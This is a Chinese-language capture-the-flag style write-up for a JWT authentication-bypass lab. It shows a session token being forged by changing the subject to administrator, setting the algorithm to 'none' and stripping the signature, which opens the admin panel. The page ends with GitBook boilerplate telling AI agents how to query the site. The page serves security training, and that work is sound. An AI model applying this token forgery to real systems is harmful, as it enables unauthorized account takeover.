> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-flawed-signature-verification.md).
# 通过有缺陷的签名验证绕过 JWT 认证
### 通过有缺陷的签名验证绕过 JWT 身份验证
**实验背景**
这个实验室使用 **JSON Web 令牌（JWT）** 用于管理用户会话。/ 服务器配置不正确：它\*\*接受未签名的 JWT\*\*，允许在没有私钥的情况下伪造有效令牌。
**目标：**
* 编辑会话 JWT 以访问 `/admin` 管理面板
* 删除用户 **carlos**
**提供的凭据：**
* 用户： `wiener`
* 密码： `peter`
\*\* 初始 JWT 分析\*\*
登录后，会提供一个 JWT 会话 cookie：
```bash
eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMTU3Niwic3ViIjoid2llbmVyIn0.CDQZmT-cC5Oa1A4yVjgEu1HVYC_J7aZ_Utfjkbdy8D0frSJVeZygaS82Frj4ZI6q8a0XGgvDE1NEJ1TQdnrJ2WSFRWoew7Nen9FJe1X_Rz2nHVKCA5kk30Kx2xB9BQ6ij-wbQLLcZkPV4CqklQ51CwPwrxCfPzpGXxCGOhjOvfYTeZzmKrskOzTG1Ikk3rv4JGWY1GKATeRXuZgbIUxG4QsHS7bDOzcUCuhUiUj4uu4gWE2FvZFLpnbNC1VvtUyq37Qqrqo78IomtnA3pe6e285IzkIr8IK-iiLVvkV4q2pTDI4-FIaMsaqMvyLvBWqsHMR-OXL4MJZMQho0E1Cdtw
```
* **标头**: `RS256` 算法
* **载荷**: `wiener` 用户
* **签名**：原始且有效
**载荷修改**
目标是伪装成管理员。/ 该 `sub` 字段在载荷中被修改：
```json
{
"iss": "portswigger",
"exp": 1767531576,
"sub": "administrator"
}
```
**利用错误的验证**
服务器接受带有 `无` 算法。/ 该 **头部** 随后被修改：
```json
{
"kid": "ae2a1871-902d-46a7-aab8-f9558bb0e64e",
"alg": "none"
}
```
接下来：
* 签名被完全删除\*\*
* 最终 JWT 以一个点（`.`)
{% code overflow="wrap" %}
```bash
eyJraWQiOiJhZTJhMTg3MS05MDJkLTQ2YTctYWFiOC1mOTU1OGJiMGU2NGUiLCJhbGciOiJub25lIn0%3d.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMjI2NSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.
```
{% endcode %}
**结果**
* 服务器\*\*接受未签名的 JWT\*\*
* 对……的访问 `/admin` 允许访问面板
* 用户 **carlos** 可能会被删除
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-flawed-signature-verification.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.